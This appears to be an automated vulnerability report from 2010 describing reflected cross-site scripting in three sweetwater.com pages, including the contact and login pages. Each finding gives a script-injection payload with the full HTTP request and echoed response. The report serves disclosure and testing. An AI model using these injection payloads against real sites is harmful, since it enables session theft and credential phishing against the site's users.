sweetwater.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

Cross Site Scripting in sweetwater.com | Vulnerability Crawler Report

Report generated by XSS.CX at Mon Dec 27 10:21:16 CST 2010.

Contents

1. Cross-site scripting (reflected)

Contents

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1.1. http://www.sweetwater.com/about/contact.php [name of an arbitrarily supplied request parameter]

1.2. https://www.sweetwater.com/myaccount/ [name of an arbitrarily supplied request parameter]

1.3. https://www.sweetwater.com/myaccount/login.php [name of an arbitrarily supplied request parameter]


1. Cross-site scripting (reflected)
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.sweetwater.com/about/contact.php [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sweetwater.com
Path:   /about/contact.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 833d6"><script>alert(1)</script>a690738bcd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /about/contact.php/833d6"><script>alert(1)</script>a690738bcd HTTP/1.1
Host: www.sweetwater.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: sv_uuid=1293335029_25178; ZDEDebuggerPresent=php,phtml,php3; __utmz=224559516.1293335028.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=224559516.1485551025.1293335028.1293335028.1293335028.1; __utmc=224559516; __utmb=224559516.2.10.1293335028;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8o
Content-Type: text/html
Date: Sun, 26 Dec 2010 04:01:32 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Content-Length: 56303

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta name="keywords" content="">
<meta name="description" content="">

<title>Cont
...[SNIP]...
<form name="contact" onSubmit="return validateForm(this);" action="/about/contact.php/833d6"><script>alert(1)</script>a690738bcd?action=validate" method="post" >
...[SNIP]...
1.2. https://www.sweetwater.com/myaccount/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.sweetwater.com
Path:   /myaccount/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 152f0"><script>alert(1)</script>145fea6fe39 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 152f0\"><script>alert(1)</script>145fea6fe39 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /myaccount/?152f0"><script>alert(1)</script>145fea6fe39=1 HTTP/1.1
Host: www.sweetwater.com
Connection: keep-alive
Referer: http://www.sweetwater.com/store/detail/ChannelComNat
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=224559516.1293335028.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ZDEDebuggerPresent=php,phtml,php3; __utma=224559516.1485551025.1293335028.1293335028.1293335028.1; __utmc=224559516; __utmb=224559516.2.10.1293335028

Response (redirected)

HTTP/1.1 200 OK
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8o
Content-Type: text/html
Date: Sun, 26 Dec 2010 04:02:04 GMT
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 46520

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <title></title>
   <META HTTP-EQUIV="expires" VALUE="-1">
            <META HTTP-EQUIV="PRAG
...[SNIP]...
<input type="hidden" name="redirect" id="redirect" value="/myaccount/?152f0\"><script>alert(1)</script>145fea6fe39=1">
...[SNIP]...
1.3. https://www.sweetwater.com/myaccount/login.php [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.sweetwater.com
Path:   /myaccount/login.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload afb27"><script>alert(1)</script>c4926845f1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /myaccount/login.php/afb27"><script>alert(1)</script>c4926845f1 HTTP/1.1
Host: www.sweetwater.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: sv_uuid=1293335029_25178; ZDEDebuggerPresent=php,phtml,php3; __utmz=224559516.1293335028.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=224559516.1485551025.1293335028.1293335028.1293335028.1; __utmc=224559516; __utmb=224559516.2.10.1293335028;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8o
Content-Type: text/html
Date: Sun, 26 Dec 2010 04:01:24 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 46463

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
   <title></title>
   <META HTTP-EQUIV="expires" VALUE="-1">
            <META HTTP-EQUIV="PRAG
...[SNIP]...
<form name="loginform" id="loginform" method="post" action="/myaccount/login.php/afb27"><script>alert(1)</script>c4926845f1">
...[SNIP]...
Report generated by XSS.CX at Mon Dec 27 10:21:16 CST 2010.